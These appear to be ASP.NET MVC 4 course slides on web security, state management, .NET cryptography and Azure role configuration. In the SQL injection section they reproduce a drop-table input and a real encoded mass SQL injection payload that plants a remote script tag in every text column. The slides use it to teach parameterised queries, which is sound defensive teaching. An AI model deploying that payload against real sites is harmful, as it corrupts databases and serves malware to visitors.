For simplicity, this tutorial focuses on working with credentials
from Facebook and Google
Enabling these credentials in your web sites provides a
significant advantage because millions of users already have
accounts with these external providers
These users may be more inclined to sign up for your site if they
do not have to create and remember a new set of credentials
The tutorial also shows how to add profile data for the user, and
how to use the Membership API to add roles
Code! MVC 5 App with Facebook, Twitter, LinkedIn and Google OAuth2 Sign-on
http://www.asp.net/mvc/tutorials/mvc-5/create-an-aspnet-mvc-5-app-with-facebook-and-google-oauth2-and-openid-sign-on

16

12. 1

Module 12
Building a Resilient ASP.NET
MVC 4 Web Applications
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Building a Resilient ASP.NET MVC 4 Web Applications

12. 2

Contents
Topic

Slide

Preventing Attacks

State Management

12

Protecting Data

29

Further Study

42

Exam Topic: Configure state management

Choose a state management mechanism (in-process
and out of process state management, ViewState)
Plan for scalability
Use cookies or local storage to maintain state
Apply configuration settings in web.config file
Implement sessionless state (for example, QueryString)

Exam Topic: Implement a secure site with ASP.NET

Use HTML encoding to prevent cross-site scripting attacks (ANTI-XSS Library)
Implement deferred validation and handle unvalidated requests, for
example, form, querystring, and URL
Prevent SQL injection attacks by parameterizing queries
Prevent cross-site request forgeries (XSRF)
Exam Topic: Implement a secure site with ASP.NET
Secure communication by applying SSL certificates
Exam Topic: Manage data integrity
Salt and hash passwords for storage
Apply encryption to application data
Apply encryption to the configuration sections of an application
Sign application data to prevent tampering
Exam Topic: Design a distributed application
Plan for session management in a distributed environment

Preventing Attacks

12. 3

SQL Injection

Exploits of a Mom
http://xkcd.com/327/

Preventing Attacks

12. 4

SQL Injection
In which malicious code is inserted into strings that are
passed to an SQL database for parsing and execution
For example, this bad code reads a value posted from a web
form and concatenates it into a SQL statement
var city = Request.Form["ShipCity"];
var sql = "select * from OrdersTable where ShipCity = '" + city + "'";

A malicious user could enter the following in ShipCity textbox

Redmond'; drop table OrdersTable--

Reject the following characters: ' ; -- /* */ xp_

BUT much better to use parameters instead

SQL Injection
http://msdn.microsoft.com/en-us/library/ms161953.aspx

12. 5

Preventing Attacks

What Does This Do?

script.asp?var=random';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C00410052004500200040005400200
07600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290
020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F00520
0200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D00650020006600720
06F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E0073002000620
0200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E007800740079007000650
03D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E007800740
07900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780
074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F007200200
04600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F0
07200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F00530
0540041005400550053003D0030002900200042004500470049004E002000650078006500630028002700750070006400610074006500200
05B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280
063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270
027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E0069006800610
06F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E002700270027002900460
0450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F00720
0200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0
043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F00430075007200730
06F007200%20AS%20NVARCHAR(4000));EXEC(@S);--

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name

from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35
or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script
src=http://www.nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

Encoded SQL Injection

SQL Injection

http://www.gutizz.com/encoded-sql-injection/

http://www.blackhatlibrary.net/SQL_injection

Preventing Attacks

12. 6

MVCs Anti-Forgery Token support

Writes a unique value to an HTTP-only cookie and then the same
value is written to the form
When the page is submitted, an error is raised if the cookie
value doesn't match the form value
This prevents cross site request forgeries, that is, a form from
another site that posts to your site in an attempt to submit
hidden content using an authenticated user's credentials
The feature doesnt prevent any other type of data forgery or
tampering based attacks

To use it perform two steps

1. Decorate the action method (or controller) with the
[ValidateAntiForgeryToken] attribute
2. Call the HtmlHelper method @Html.AntiForgeryToken() inside
the form in your view
Prevent Cross-Site Request Forgery (CSRF) using ASP.NET MVCs AntiForgeryToken() helper
http://blog.stevensanderson.com/2008/09/01/prevent-cross-site-request-forgery-csrf-using-aspnet-mvcs-antiforgerytoken-helper/

12. 7

Preventing Attacks

Why Cant I Just HTML Encode Untrusted Data?

HTML entity encoding is okay for untrusted data that
you put in the body of the HTML document such as
inside a <div> tag
It uses a black list of characters to encode like <

It doesnt work if youre putting untrusted data inside a

<script> tag anywhere, or an event handler attribute
like onmouseover, or inside CSS, or in a URL
ASP.NET has request validation that provides limited
sanitization and Microsoft provides an encoding library
named the Microsoft Anti-Cross Site Scripting Library
It uses a white list of safe characters and encodes all others
Microsoft Web Protection Library
http://wpl.codeplex.com/

XSS (Cross Site Scripting) Prevention Cheat Sheet

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

12. 8

Preventing Attacks

Request Validation
ASP.NET validates requests for potentially dangerous
values (like JavaScript) automatically
Throws HttpRequestValidationException if it finds problem

To disable this feature

For an action method or a property of a model
[ValidateInput(false)]
public ActionResult Edit()

[AllowHtml]
public string Contents { get; set; }

You must also switch mode to the old 2.0 version

The default of 4.0 means it cannot be disabled!
<httpRuntime requestValidationMode="2.0" />
Any numeric value smaller than 4.0 (for example, 3.7, 2.9, or 2.0) is interpreted as 2.0
Any number larger than 4.0 is interpreted as 4.0
HttpRuntimeSection.RequestValidationMode Property
http://msdn.microsoft.com/en-us/library/system.web.configuration.httpruntimesection.requestvalidationmode(v=vs.110).aspx

Preventing Attacks

12. 9

HttpRequest.Unvalidated
To disable request validation for a specific field in a
request (for example, for an input element or query
string value), check Request.Unvalidated when you get
the item
var rawComment = Request.Unvalidated.Form["comment"];

If you disable request validation, you should manually

check the unvalidated user input for potentially
dangerous input
As with the previous slide, you must switch to 2.0
request validation mode
Request Validation in ASP.NET
http://msdn.microsoft.com/en-us/library/hh882339(v=vs.110).aspx

HttpRequest.Unvalidated Property
http://msdn.microsoft.com/en-us/library/system.web.unvalidatedrequestvalues.aspx

Preventing Attacks

12. 10

Requiring HTTPS
Use the RequireHttpsAttribute to prevent unsecured
HTTP requests from being sent to an action method
[RequireHttps] // applies to all actions in controller
public class SomeController
{
[RequireHttps] // applies to this action only
public ActionResult SomeAction()

ASP.NET Development Server doesnt support HTTPS

Conditional compilation can help
#if !DEBUG
[RequireHttps] // applies to all actions in controller
#endif
public class SomeController

ASP.NET MVC RequireHttps in Production Only

http://stackoverflow.com/questions/1639707/asp-net-mvc-requirehttps-in-production-only

12. 11

Preventing Attacks

Summary
Feature

Description

Anti-forgery tokens

Helps prevent Cross-Site Request Forgery (CSRF) attacks

HTTP request validation

Helps prevent Cross-Site Script (XSS) attacks

HTTPS and Secure

Sockets Layer (SSL)

SSL prevents eavesdropping by encrypting transmission of

data between client and server. It uses asymmetric
encryption to swap keys and then switches to symmetric
encryption for the actual data

Symmetric encryption

Uses the same key to both encrypt and decrypt data;

faster than asymmetric but requires a shared secret key
on both sides

Asymmetric encryption

Uses a public/private key pair to encrypt and decrypt

data; more secure than symmetric but slower

SQL parameters

Helps prevent SQL injection attacks

12. 12

State Management

Server-side

Client-side

Overview
Technology

Lifetime

Encrypted

Shared?

Max.
Size

Always
Available

QueryString

Single request

No

Per user

1 KB

Cookies

In-memory: while
browser is running.
In-file: until cookie
cache is cleared or
cookie expires.

No, you must

encrypt manually

Per user

4 KB

ViewState &
ControlState
(Web Forms
only)

While you are

working with a single
page e.g. during
post backs.

Not by default;
ViewStateEnc
ryptionMode:
Auto, Always, Never

Per user

n/a

Session1

While browser is
running (because it
stores session ID in
an in-memory cookie).

Not necessary

Per user

n/a

Application

While ASP.NET
application is running
(e.g. for months).

Not necessary

All users

n/a

Server affinity aka sticky sessions is a feature of load balancers that ensures a request from a
particular browser is always handled by the same server in a web farm meaning session state can stay InProc
1

State Management

12. 13

Server Affinity aka Sticky Sessions

Windows Network Loading Balancer (NLB) offers three
types of client affinity
None: best performance but only good for clusters with no
session state
Single: useful for clusters within an intranet
Class C: useful for clusters on the Internet

NLB distributes incoming client requests for TCP and

UDP, including HTTP, across multiple members
Unlike other load balancers, which require hardware, NLB is a
software-based load balancer that resides on each member
Each member in an NLB cluster receives all incoming requests;
one processes the request, the others discard
Using NLB
http://technet.microsoft.com/en-us/library/bb687542.aspx

State Management

12. 14

Reading and Writing Cookies

Check if a cookie exists and display it if it does
@if (Request.Cookies["lastVisit"] != null)
{
@Request.Cookies["lastVisit"].Value
} else {
@:No cookie with last visit
}

Define the cookie

Response.Cookies["lastVisit"] = DateTime.Now.ToString();
Response.Cookies["lastVisit"].Expires = DateTime.Now.AddDays(1);

Expires makes cookie get stored in a file instead of memory

// alternative
var cookie = new HttpCookie("lastVisit");
cookie.Value = DateTime.Now.ToString();
cookie.Expires = DateTime.Now.AddDays(1);
Response.Cookies.Add(cookie);

State Management

12. 15

Controlling Cookie Scope

Cookie scope can prevent vulnerabilities in browsers
from being exploited by hackers to trick the browser to
send your cookie to other web sites
Cookie scope can be
Limited to a specific folder using the Path property
Response.Cookies["lastVisit"].Path = "/Application1";

Expanded to any server in a domain using the Domain property

Response.Cookies["lastVisit"].Domain = "contoso.com";

State Management

12. 16

Storing Multiple Values in a Cookie

Maximum 4 KB per cookie, 20 cookies per site
Could store multiple values in a single cookie
Response.Cookies["info"]["firstName"] = "Tony";
Response.Cookies["info"]["border"] = "blue";
Response.Cookies["info"].Expires = DateTime.Now.AddDays(1);

(firstName=Tony) (border=blue)

Cookie data can be manually encrypted before being

stored

State Management

12. 17

Query Strings
Typical query string in URL
http://search.microsoft.com/results?mkt=en-US&q=hello+world

How to read the values

var s1 = Request.QueryString["mkt"];
var s2 = Request.QueryString["q"];

Useful for paging between views

<a href="Customer/Index?page=3">Previous</a>
Page 4 of 7
<a href="Customer/Index?page=5">Next</a>

State Management

12. 18

Application State
Application state is shared and used to store
information that is not user-specific
An instance of the HttpApplicationState class

Lock to prevent another page from changing the

variable between the time that the process reads the
current value and the time it writes it
HttpContext.Application.Lock();
HttpContext.Application["PageRequestCount"] =
(int)(HttpContext.Application["PageRequestCount"]) + 1;
HttpContext.Application.UnLock();

Stays until explicitly removed or application ends

Better to use Cache which can adjust to low-memory conditions

State Management

12. 19

Responding to Application Events

Handle in a Global.asax file
Application_Start
Application is starting; use to initialize application variables

Application_End
Application is ending; use to free application resources

Application_Error
An unhandled error has occurred

Application_LogRequest
A request has been made; use to log information about requests

Other events include

PostLogRequest, BeginRequest, ResolveCacheRequest

State Management

12. 20

Choosing a Session State Mode (1 of 2)

InProc (default)
Stores session state in the AppDomain of web site
Fastest mode and can store any type

StateServer
Stores session state in memory of a service called the ASP.NET
State Service; could be on same web server or another machine
Type must be serializable

SQLServer
Stores session state in a SQL Server database; session state must
be enabled on the database; type must be serializable
Slowest mode, but most recoverable

Off

<system.web>
<sessionState mode="Off" />

10

12. 21

State Management

Choosing a Session State Mode (2 of 2)

Custom
Either write your own or use alternative technologies such as

Microsoft Azure Cache

Share session state among different ASP.NET applications.
Concurrent access for multiple readers and a single writer
Can use compression through cache client properties
<sessionState mode="Custom" customProvider="AFCacheSessionStateProvider">
<providers>
<add name="AFCacheSessionStateProvider"
type="Microsoft.Web.DistributedCache.DistributedCacheSessionStateStoreProvider,
Microsoft.Web.DistributedCache" cacheName="default"
dataCacheClientName="default" applicationName="AFCacheSessionState"/>
<dataCacheClient name="default" isCompressionEnabled="true" />
Session State Provider for Azure Cache
http://msdn.microsoft.com/en-us/library/azure/gg185668.aspx

12. 22

State Management

Configuring Session State Modes

Configure to use SQL Server

Session timeout in minutes

<sessionState mode="SQLServer" timeout="20"

sqlConnectionString="Data Source=.;Integrated Security=SSPI;"
sqlCommandTimeout="30" />
Command timeout in seconds

Enable session state support on a database using

aspnet_regsql.exe
Uses tempdb by default
-d <database> -ssadd: adds support
-d <database> -ssremove: removes support
Calls SQL script: InstallSqlState.sql

Note: this utility is also used to enable other features

11

State Management

12. 23

Configuring Session State Modes

Configure to use State Server
<sessionState mode="StateServer"
stateConnectionString="tcpip=127.0.0.1:42424"
stateNetworkTimeout="10" />

The ASP.NET State Service must be running

Listens on port 42424

State Management

12. 24

Configuring Cookieless Session State

A cookieless session enables ASP.NET to track sessions
using a query string in the URL instead of a cookie
<sessionState cookieless="true"
regenerateExpiredSessionId="true" />

Embedded after the slash following the application name

http://www.example.com/s(lit3py55t21...)/order

Cookieless (UseCookies is default; required for AJAX)

False or UseCookies: uses cookies
True or UseUri: uses URI
UseDeviceProfile: decides based on browser definition support
AutoDetect: equivalent to UseDeviceProfile; does not use
probing mechanism

12

State Management

12. 25

Responding to Session Events

Session_Start
Raised when a new session begins
Use to initialize session variables

Session_End
Raised when a session is abandoned or expires
but only when using InProc session mode

Use to free per-session resources

Default timeout is 20 minutes

To change it to five minutes
<sessionState timeout="5" />
Session.Timeout = 5;

State Management

12. 26

Other Session State Configuration Options

Rename cookie for extra safety; security via obscurity
<sessionState cookieName="ASP.NET_SessionId" ...

Dynamically return connection strings when you have

multiple SQL or State servers
<sessionState partitionResolverType="type" ...

Log on to the session state SQL Server by using the host

identity (ApplicationPoolIdentity in IIS 7+)
<sessionState useHostingIdentity="true"

Or a specified identity
<identity impersonate="true"
username="..." password="..." />

13

12. 27

State Management

Design Choices
Technology

PROs

CONs

Cookie

Scalable, stored on browser

Can be disabled, insecure

QueryString

Scalable across multiple servers,

supported by all browsers

Insecure, very limited size

ViewState

Automatic, Web Forms only

Bulky pages, messy, evil

Session

Option for web farms and

recoverable storage

Can be difficult to scale

Application

Simple

Stays until removed

Cache

Automatic removal, expirations,

dependencies, priorites

In-memory only

TempData

Simple, automatically gets removed

when read, can last beyond current
request

Uses session state, MVC only

ViewData,
ViewBag

Simple

Only lasts for active request, MVC only

ASP.NET State Management Recommendations

http://msdn.microsoft.com/en-us/library/z1hkazw7(v=vs.100).aspx

State Management

12. 28

machineKey Element
Controls tamper proofing and encryption of ViewState,
forms authentication tickets, and role cookies
For a single server the defaults are sufficient, but in a web farm
you must manually configure all servers to use the same keys
<machineKey validationKey="AutoGenerate,IsolateApps"
decryptionKey="AutoGenerate,IsolateApps"
validation="HMACSHA256" [SHA1|MD5|3DES|AES|HMACSHA256|HMACSHA384|HMACSHA512]
decryption="Auto" [Auto|DES|3DES|AES|alg:algorithm_name] />

Use separate key values for each application, but duplicate

each applications keys across all servers in the farm
<machineKey
validationKey="32E35872597989D14CC1D5D9F5B1E94238D0EE32CF10AA2D2059533DF6035F4F"
decryptionKey="B179091DBB2389B996A526DE8BCD7ACFDBCAB04EF1D085481C61496F693DF5F4"
/>
machineKey Element (ASP.NET Settings Schema)
http://msdn.microsoft.com/en-us/library/vstudio/w8h3skw9(v=vs.100).aspx

14

Protecting Data

12. 29

Three Techniques Combine to Protect Data

Encrypt (hide sensitive data)
Two-way operation i.e. can be decrypted
Best choice for data such as credit card numbers

Hash (integrity checks and to store passwords)

One-way operation i.e. cannot create original data from hash
(but a brute force dictionary attack could be used instead)

A checksum that is unique to a piece of data to ensure no

modification occurs

Sign (authentication checks)

A digital signature is a value that is appended to electronic data
to prove it was created by someone who possesses a specific
private key; the public key is used to verify the signature at the
receivers end

Protecting Data

12. 30

Three Types of Algorithm

Non-Keyed
Simple to code but weak

Symmetric Key (aka secret or shared key)

CONs: Need to share the same key on both sides
PROs: Fast and can apply to almost unlimited stream of data

Asymmetric Keys (public-private key pair)

PROs: key pair is mathematically linked but cannot derive one
from the other so its very secure
CONs: only works on small byte arrays

15

Protecting Data

12. 31

SymmetricAlgorithm Properties
All symmetric algorithm implementations derive from
System.Security.Cryptography.SymmetricAlgorithm
Important properties
Mode: defaults to CipherMode.CBC (Cipher Block Chaining)
LegalKeySizes and LegalBlockSize: array of KeySize elements
Each has MaxSize and MinSize and SkipSize

KeySize: by default is the largest legal size of key

BlockSize: number if bits processed at one time
Key: the secret key as a byte array, generated automatically by
default, but should be stored or set explicitly
IV: initialization vector; like the Key, it is a byte array and must
be shared with the decryptor
Padding: how to fill remaining bytes in last block

Protecting Data

12. 32

SymmetricAlgorithm Methods
Important methods
CreateEncryptor(): creates the object that needs to be passed
to a CryptoStream
CreateDecryptor(): creates the object that needs to be passed
to a CryptoStream
GenerateIV(): re-generates a random IV

GenerateKey(): re-generates a random key

16

12. 33

Protecting Data

Managed

CryptoServiceProvider

Symmetric Encryption Algorithms

Class1

Block Size

Key Size

Comment

DES

64 bit / 8 byte

56 bit / 7 byte

Common but should be avoided

RC2

64 bit / 8 byte

40128 bit /
5-16 byte
(increments of 1)

Official replacement for DES

Triple
DES

64 bit / 8 byte

128-192 bit /
16-24 byte

DES with three keys2

(may be the same!)

Rijndael

128-256 bit
(increments of
32 bit)

128, 192, 256 bit

/ 16, 24, 32 byte

Equally best option with AES for

encrypting any data except a shared
key (use RSA for that)

Aes

128 bit /
16 byte

128, 192, 256 bit

/ 16, 24, 32 byte

Same as Rijndael but fixed smallest,

best) block size and iteration count

If the class ends with CryptoServiceProvider then it is an OS-Implemented algorithm meaning it

is difficult to use with partially-trusted code. If the class ends with Managed then it is written
entirely within .NET and does not need to call unmanaged code.
1

In general, Triple DES with three independent keys has a key length of 168 bits (three 56-bit DES
keys), but due to the meet-in-the-middle attack, the effective security it provides is only 112 bits
2

A Stick Figure Guide to the Advanced Encryption Standard (AES)

http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html

12. 34

Protecting Data

How to Establish a Symmetric Key

Use the auto-generated key or call GenerateKey(), and
then you MUST store the resulting key and IV and share
them with any code that needs to decrypt
var myAlg = new RijndaelManaged();
var key = myAlg.Key;
var iv = myAlg.IV;

using System.Security.Cryptography;
using System.Text;

Use a password-based key derivation function (PBKDF)

such as Rfc2898DeriveBytes
var myAlg = new RijndaelManaged();
var password = "P@55w0r]>";
byte[] salt = Encoding.ASCII.GetBytes("my salt");
var key = new Rfc2898DeriveBytes(password, salt);
myAlg.Key = key.GetBytes(myAlg.KeySize / 8);
myAlg.IV = key.GetBytes(myAlg.BlockSize / 8);

Generating a Key from a Password

http://blogs.msdn.com/b/shawnfa/archive/2004/04/14/generating-a-key-from-a-password.aspx

17

12. 35

Protecting Data

Asymmetric Encryption
RSACryptoServiceProvider
Can encrypt, decrypt, hash and sign
Name comes from initials of three men who invented it

Use the best of both worlds: asymmetric to share a

key, then symmetric using that shared key
Sender uses receivers public key to encrypt data
Receiver uses their private key to decrypt
Often combined with symmetric for best of both worlds, for
example, HTTPS/SSL

12. 36

Protecting Data

How to Encrypt and Decrypt Asymmetrically

Unlike symmetric, which uses streams, asymmetric
encryption works on small byte arrays
Boolean flag determines if Optimal Asymmetric Encryption
Padding should be used (Windows XP and later only)
using System.Security.Cryptography;

var
var
var
var
var

using System.Text;
clearText = "Hello, World!";
rsa = new RSACryptoServiceProvider();
clearBytes = Encoding.Unicode.GetBytes(clearText);
cryptoText = rsa.Encrypt(clearBytes, false);
xmlKey = rsa.ToXmlString(true); // export the key

var rsa2 = new RSACryptoServiceProvider();

rsa2.FromXmlString(xmlKey); // import the key
var decryptedBytes = rsa2.Decrypt(cryptoText, false);
Console.WriteLine("Decrypted text: {0}",
Encoding.Unicode.GetString(decryptedBytes));

18

12. 37

Protecting Data

Hash and Sign

Non-Keyed Hash-only Algorithms
MD5: Message Digest 5 (16 byte hash)
Secure Hash Algorithm:
SHA1 (20 byte hash), SHA256 (32 byte hash),
SHA384 (48 byte hash), SHA512 (64 byte hash)

Symmetric Keyed Hash and Sign Algorithms

HMACSHA1: Hash-based Message Authentication Code (HMAC)
MACTripleDES: 8, 16, 24 byte keys; 8 byte hash size (64 bit)

Asymmetric Keyed Hash and Sign Algorithm

Digital Signature Algorithm (DSA)
DSACryptoServiceProvider: hash and sign data
DSA cannot encrypt!
Do not confuse with RSACryptoServiceProvider

12. 38

Protecting Data

How to Compute a Hash

Generate a non-keyed hash
var hash = new MD5CryptoServiceProvider();

Generate a keyed hash

var
var
var
var

Never hard-code a password within

your source code because they can be
retrieved by using Ildasm.exe, by
using a hexadecimal editor, or by
simply opening up the assembly in a
text editor such as Notepad!

salt = Encoding.ASCII.GetBytes("goodbye horses pancake");

keyMaker = new Rfc2898DeriveBytes("Pa$$w0rd", salt);
key = keyMaker.GetBytes(16); // HMACSHA1 can use any size key
hash = new HMACSHA1(key, true); // use managed implementation

Use either algorithm to generate a hash for a file

var file = File.Open(@"c:\code\file.txt", FileMode.Open);
var reader = new BinaryReader(file);
hash.ComputeHash(reader.ReadBytes((int)file.Length));

Display the hash

Console.WriteLine(Convert.ToBase64String(hash.Hash));

19

12. 39

Protecting Data

Random Number Generators and Salts

RNGCryptoServiceProvider class
Used to generate a random number for use various types of
cryptography and other operations

Never use the Random class to generate

a random number for use in security!

Example

To store user passwords in the database in a way that they

cannot be extracted, the passwords need to be hashed using a
one-way hashing algorithm such as SHA1
To do so, use the RNGCryptoServiceProvider to create a random
salt, append the salt to the password, hash it using
SHA1CryptoServiceProvider, and store the resulting string in the
database along with the salt
The benefit provided by using a salted password is making a
lookup table assisted dictionary attack against the stored values
impractical, provided the salt is large enough

12. 40

Protecting Data

Public/Private Encrypt/Sign
Alice needs to send data to Bob securely
Alice must encrypt her data by using Bobs public key
Alices Data

Bobs Public Key

Alices Encrypted

Alice must sign her encrypted data using her private key
Alices Encrypted

Alices Private Key

Alices Signed

Bob must check the signature using Alices public key

Alices Signed

Alices Public Key

Bob must decrypt the data by using his private key

Alices Encrypted

Bobs Private Key

Alices Data

20

12. 41

Protecting Data

Summary
To Do This

Use This

Generate an IV or Key based on a string

Rfc2898DeriveBytes (best)
PasswordDeriveBytes (deprecated)

Encrypt or decrypt using symmetric key

AesManaged (best)
RijndahlManaged
RC2CryptoServiceProvider
TripleDESCryptoServiceProvider
DESCryptoServiceProvider (worst)

Encrypt or decrypt using asymmetric key

RSACryptoServiceProvider

Sign using an asymmetric key

DSACryptoServiceProvider

Generate a random number, e.g. for a salt

RNGCryptoServiceProvider

Generate a hash without a key

SHA512CryptoServiceProvider (best)
SHA256CryptoServiceProvider
SHA1CryptoServiceProvider
MD5CryptoServiceProvider (worst)

Generate a hash with a symmetric key

HMACSHA1CryptoServiceProvider

Generate a hash with an asymmetric key

DSACryptoServiceProvider

Further Study

12. 42

Troy Hunt
About
Microsoft MVP for Developer Security, Pluralsight author and
international speaker, youll usually find Troy talking about web
security and The Cloud

Welcome to "Hack Yourself First"!

http://hackyourselffirst.troyhunt.com/

Troy Hunt - Hack Yourself First

https://www.youtube.com/watch?v=rdHD6pVG66Q

21

Further Study

12. 43

Hacking ASP.NET Video

.Net Havoc - Manipulating Properties of Dormant Server Side Web Controls, Shay Chen
https://vimeo.com/channels/44con2013/109380787

22

13. 1

Module 13
Using Windows Azure Web Services in
ASP.NET MVC 4 Web Applications
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Using Windows Azure Web Services

13. 2

Contents
Exam Topic: Debug a Windows Azure application
Collect diagnostic information by using Windows Azure Diagnostics API Implement on demand vs. scheduled
Choose log types, for example, event logs, performance counters, and crash dumps
Debug a Windows Azure application by using remote debugging
New in Visual Studio 2013: Interact directly with remote Windows Azure websites using Server Explorer
Exam Topic: Design and implement the Windows Azure role life cycle
Identify and implement Start, Run, and Stop events
Identify startup tasks (IIS configuration [app pool], registry configuration, third-party tools)

Review Firebrands extra slides for MOC 20487

WCF: Modules 5 and 6, Appendices A and B
Azure: Modules 7-12

13. 3

MOC Errata
Page 13-12
The MOC slide says

For the second reference (for the staging environment), it

should say
http://<guid>.cloudapp.net/<servicename>.svc

Install the Windows Azure SDK

Search for Azure SDK and install the latest version using Web
Platform Installer

13. 4

Microsoft Azure

Configuring Azure Virtual Machines

File

Description

ServiceDefinition.csdef

Defines:
- Endpoints for communicating between VMs
- Size of VM and upgrade domain count
- Modules for diagnostics, RDP, and so on
- Certificates
- Startup tasks and environment variables
- Configuration settings to load from .cscfg

ServiceConfiguration.cscfg

Configures:
- Number of instances of each type of VM
- Certificates
- Values of configuration settings

WebRole.cs, WorkerRole.cs

Custom code executed when the VM:

- Starts, Runs, Stops
- Changes configuration

Web.config

Normal ASP.NET and IIS configuration

Azure Service Definition Schema (.csdef File)

https://msdn.microsoft.com/en-us/library/azure/ee758711.aspx

Azure Service Configuration Schema (.cscfg File)

https://msdn.microsoft.com/en-us/library/azure/ee758710.aspx

13. 5

Microsoft Azure

Startup Tasks

(ServiceDefinition.csdef)

Perform operations before a role starts

e.g. installing a component, registering COM components,
setting registry keys, or starting a long running process
executionContext: limited (same as role), elevated (admin)
taskType: simple (synchronous, wait for completion one at a
time), foreground or background (asynchronous)
<Startup>
<Task commandLine="Startup.cmd"
executionContext="limited" taskType="simple" >
<Environment>
<Variable name="MyVersionNumber" value="1.0.0.0" />
</Environment>
</Task>
</Startup>

Run Startup Tasks in Windows Azure

http://msdn.microsoft.com/en-us/library/windowsazure/hh180155.aspx

Microsoft Azure

13. 6

RoleEntryPoint and RoleEnvironment Events

When you create Windows Azure projects each role will
have a WebRole.cs or WorkerRole.cs
Derives from RoleEntryPoint which has three methods you can
override: OnStart, OnStop, Run
Can handle events on RoleEnvironment class
Changed, Changing: if the configuration is changed
StatusCheck, Stopping
public class WebRole : RoleEntryPoint
{
public override bool OnStart()
void RoleEnvironment_Changing(
{
object sender,
RoleEnvironment.Changing
RoleEnvironmentChangingEventArgs e)
+= RoleEnvironment_Changing;
{
return base.OnStart(); // true
Log(e.Changes);
e.Cancel = true;
Leveraging the RoleEntryPoint
http://brentdacodemonkey.wordpress.com/2011/09/24/leveraging-the-roleentrypoint-year-of-azure-week-12/

13. 7

Microsoft Azure

Run Method
The Run is considered the Main method for your
application
Overriding the Run method is not required; the default
implementation never returns
If you do override the Run method, your code should block
indefinitely
If your Run method returns, the
role is automatically recycled
by raising the Stopping event
and calling the OnStop method
so that your shutdown
sequences may be executed
before the role is taken offline

public override void Run()

{
try
{
Trace.WriteLine("Run");
while (true)
{
Thread.Sleep(10000);
Trace.WriteLine("Working");
}

RoleEntryPoint.Run Method
https://msdn.microsoft.com/en-us/library/microsoft.windowsazure.serviceruntime.roleentrypoint.run.aspx

Microsoft Azure

13. 8

OnStop and Waiting for a Process to Exit

If you override the OnStop method, you must call the
base class OnStop after completing your actions
public override void OnStop()
{
try
{
// make the current thread wait until
// the associated process terminates
Process.Start("myapp.exe").WaitForExit();
base.OnStop();

Code has 5 minutes to finish when it is called for reasons other

than a user-initiated shutdown after which the process is
terminated, so you must make sure that code in the OnStop
method can run quickly or tolerates not running to completion
RoleEntryPoint.OnStop Method
http://msdn.microsoft.com/en-us/library/azure/microsoft.windowsazure.serviceruntime.roleentrypoint.onstop.aspx

Process.WaitForExit Method
http://msdn.microsoft.com/en-us/library/fb4aw7b8.aspx

13. 9

Microsoft Azure

Remote Desktop (RDP)

(ServiceDefinition.csdef)

By using the Azure SDK and Remote Desktop Services,

you can access Azure web, worker, and VM roles
Step 1: Set up a certificate
The certificates for a remote desktop connection are different
from the certificates that you use for other Azure operations
The remote access certificate must have a private key which
should be exported as a PFX file

Step 2: Import modules

<Imports>
<Import moduleName="RemoteAccess" /><!-- allow RDP connection to this role -->
<Import moduleName="RemoteForwarder" /><!-- only one role can be forwarder -->
Using Remote Desktop with Windows Azure Roles
http://msdn.microsoft.com/en-us/library/windowsazure/gg443832.aspx

How does Remote Desktop works in Windows Azure?

http://blogs.msdn.com/b/avkashchauhan/archive/2011/12/06/how-does-remote-desktop-works-in-windows-azure.aspx

13. 10

Microsoft Azure

Diagnostics Logs

(ServiceDefinition.csdef)

Windows Azure Diagnostics configuration defines values

that are used to initialize the Diagnostics Monitor
Sections: DiagnosticInfrastructureLogs, Logs, Directories,
PerformanceCounters, WindowsEventLog

The Logs element defines the buffer configuration for

basic Windows Azure logs
<Logs bufferQuotaInMB="2"
